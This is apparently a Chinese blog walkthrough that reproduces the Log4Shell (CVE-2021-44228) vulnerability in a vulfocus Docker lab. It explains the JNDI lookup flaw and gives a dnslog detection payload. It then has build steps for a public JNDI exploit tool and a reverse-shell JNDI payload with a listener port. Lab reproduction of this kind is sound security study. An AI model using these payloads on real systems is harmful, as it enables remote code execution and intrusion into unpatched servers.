[漏洞复现]log4j2远程代码执行 CVE-2021-44228

原理

log4j2的log处理中,检测到${} 字符就会使用JNDI的lookup解析其中字符串。

首先攻击者开启远程ldap服务,并指定远程url恶意代码

使用${}包裹参数,log4j发现是jndi并请求ldap服务,会将ldap指向的恶意代码本地执行

复现

使用vulfocus 一键搭建

1,启动vulfocus镜像

docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=172.17.0.1 vulfocus/vulfocus

VUL_IP:vulfocus的地址,填入ifconfig中的Docker0的网卡地址,

使用docker ps 查看已经启动的镜像

docker start [CONTAINER ID] 后台运行它

进入本机80端口,使用admin/admin登录

镜像可以进入https://hub.docker.com/u/vulfocus导入

进入

进入/hello 使用hackbar传入payload参数

使用dnslog 外带检测一下

${jndi:ldap://a93jaj.dnslog.cn/etc}

查看dnslog ,证明漏洞存在

使用vps对漏洞进行利用

使用工具

https://github.com/zzwlpx/JNDIExploit

clone下来需要使用mvn clean package进行打包为jar

java -jar JNDIExploit-1.0-SNAPSHOT.jar -i [Local ip address

另开终端 使用-u命令查看用法

payload=${jndi:ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port]}

同时使用终端监听7777端口

试了好几次都失败,原来是防火墙忘了关了。。。。

Leave a Comment

您的电子邮箱地址不会被公开。 必填项已用*标注